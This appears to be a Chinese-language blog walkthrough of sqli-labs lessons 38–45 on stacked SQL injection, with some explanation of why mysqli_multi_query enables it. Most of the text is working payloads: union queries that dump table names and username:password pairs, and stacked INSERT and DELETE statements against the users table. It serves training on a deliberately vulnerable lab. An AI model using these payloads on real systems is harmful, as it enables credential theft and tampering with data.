本文引入一个新的概念:堆叠注入
mysli_multi_query()函数:
Stackedinjections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql 语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而 unioninjection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
使用条件
mysli_multi_query()执行多条查询的函数——防止注入改成mysqli_query()函数
堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用**mysqli_multi_query()**函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
我们就可以在普通注入的后面,写上一条任意的SQL语句,例如插入数据,或者删库。
sqli-labs中使用了一个章节的大小来描述堆叠注入,但是个人认为该部分在sql注入中并没有扮演如此重要的角色
less 38 GET -Stacked Query Injection-String
查询数据表:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
查询users列
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
此时,我们就可以在users下插入其他用户,例如
?id=-1' ;insert into users(id,username,password)values(100,'772211','112277');
less-39 GET-Stacked Query Injection-Intiger based.
该题和上题基本相同,只是闭合方式不同
查询数据表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
查询users列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
我们就可以在users下插入其他用户
?id=-1 ;insert into users(id,username,password)values(100,'213','123123');
less-40 GET- BLIND based-String-Stacked
同样是堆叠注入,但是闭合方式修改为'),其他操作基本相同
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
尝试删去id=1的用户
?id=-1') ;delete from users where id=1;
原有id=1
less-41 GET-BLIND based-Intiger-Stacked
该题和之前题目基本相同,依旧是不对报错进行输出,不进行闭合,不多赘述
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
添加用户:
?id=-1;insert into users(id,username,password)values(102,'721','127');
less-42 POST-Error based-String-Stacked
通过观察源码,本关通过mysqli_real_escape_string对username进行了过滤,有可能进行宽字节注入,但是其不对其查询结果进行回显,但是没有对passwd进行过滤,可以尝试通过passwd进行注入。
按照代码,可以进行联合注入
' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #
爆破用户名和密码
' union select 1,group_concat(username,':',password),2 from users #
也可以进行堆叠注入:
';insert into users(id,username,password)values(108,'721','127'); #
less-43 POST -Error based -String -Stacked witth twist
该题和上题基本相同,只有闭合方式不同,操作基本相同
获取用户名密码:
') union select 1,group_concat(username,':',password),2 from users #
堆叠注入
');insert into users(id,username,password)values(99,'722','127'); #
less-44 POST -Error based-String-Stacked-Blind
不能使用报错注入,但是联合注入和堆叠注入不受影响,闭合方式为单引号
' union select 1,group_concat(username,':',password),2 from users #
';insert into users(id,username,password)values(106,'721721','127'); #
less-45 POST-Error based-String-Stacked-Blind
与上题基本相同,闭合方式改为')
') union select 1,group_concat(username,':',password),2 from users #
尝试进行堆叠注入
');insert into users(id,username,password)values(100,'721721','127127'); #